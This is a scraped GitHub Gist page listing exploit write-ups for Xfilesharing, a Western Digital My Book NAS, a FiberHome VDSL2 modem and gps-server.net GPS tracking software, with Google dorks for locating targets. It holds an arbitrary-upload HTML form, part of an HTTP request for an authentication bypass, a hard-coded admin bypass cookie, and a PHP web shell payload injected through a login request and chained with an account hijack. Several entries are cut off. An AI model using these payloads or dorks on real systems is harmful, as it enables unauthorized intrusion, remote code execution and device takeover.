Skip to content

Instantly share code, notes, and snippets.

pak0s

Block or report user

Report or block pak0s

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@pak0s
pak0s / Exploit-DB-Xfilesharing.txt
Created Nov 14, 2019
Xfilesharing <=2.5.1 Arbitrary File Upload and Local File Inclusion
View Exploit-DB-Xfilesharing.txt
# Exploit Title: Xfilesharing <=2.5.1 Arbitrary File Upload and Local File Inclusion
# Google Dork: inurl:/?op=registration
# Date: 14th Nov, 2019
# Exploit Author: Noman Riffat
# Vendor Homepage: https://sibsoft.net/xfilesharing.html
# Version: <=2.5.1
# CVE : CVE-2019-18951, CVE-2019-18952
#####################
Arbitrary File Upload
@pak0s
pak0s / xfilesharing.txt
Last active Nov 7, 2019
Xfilesharing <=2.5.1 Arbitrary File Upload and Local File Inclusion
View xfilesharing.txt
#####################
Arbitrary File Upload
#####################
<form action="http://xyz.com/cgi-bin/up.cgi" method="post" enctype="multipart/form-data">
<input type="text" name="sid" value="joe">
<input type="file" name="file">
<input type="submit" value="Upload" name="submit">
</form>
View wd-exploit.txt
# Exploit Title: Western Digital My Book World II NAS <= 1.02.12 - Broken Authentication to RCE
# Google Dork: intitle:"My Book World Edition - MyBookWorld"
# Date: 19th Sep, 2019
# Exploit Author: Noman Riffat, National Security Services Group (NSSG)
# Vendor Homepage: https://wd.com/
# Software Link: https://support.wdc.com/downloads.aspx?p=130&lang=en
# Version: <= 1.02.12
# Tested on: Firmware
# CVE : CVE-2019-16399
@pak0s
pak0s / wd.txt
Last active Sep 19, 2019
Western Digital WD My Book World II NAS <=1.02.12 Suffers from Broken Authentication that can lead to RCE
View wd.txt
POST /admin/system_advanced.php?lang=en HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Content-Length: 241
View FiberHome VDSL2 Modem HG 150-UB Login Bypass.txt
# Exploit Title: FiberHome VDSL2 Modem HG 150-UB Login Bypass
# Date: 04/03/2018
# Exploit Author: Noman Riffat
# Vendor Homepage: http://www.fiberhome.com/
The vulnerability exists in plain text & hard coded cookie. Using any cookie manager extension, an attacker can bypass login page by setting the following Master Cookie.
Cookie: Name=0admin
Then access the homepage which will no longer require authentication.
View gps-server.net SAAS CMS multiple vulnerabilities.txt
1. Remote Code Injection in gps-server.net SAAS CMS (<=3.0)
The writeLog function in fn_common.php in gps-server.net GPS Tracking Software (self hosted) through 3.0 allows remote attackers to inject arbitrary PHP code via a crafted request that is mishandled during admin log viewing, as demonstrated by
<?php system($_GET[cmd]); ?>
in a login request. Each POST request goes through mysql_real_escape_string() function which will add slashes behind quotes so the payload code shouldn't include any quote. The header of the file where code is injected allows only Admin to view the file which makes it less of a RCE. But there is another vulnerability (explained below) which allows an attacker to hijack account hence making the RCE exploitable with 100% success.
2. Admin Account Hijack in gps-server.net SAAS CMS (2.x)
gps-server.net GPS Tracking Software (self hosted) 2.x has a password reset procedure that immediately resets passwords upon an unauthenticated request, and then sends e-mail with a predictable (date-
You can’t perform that action at this time.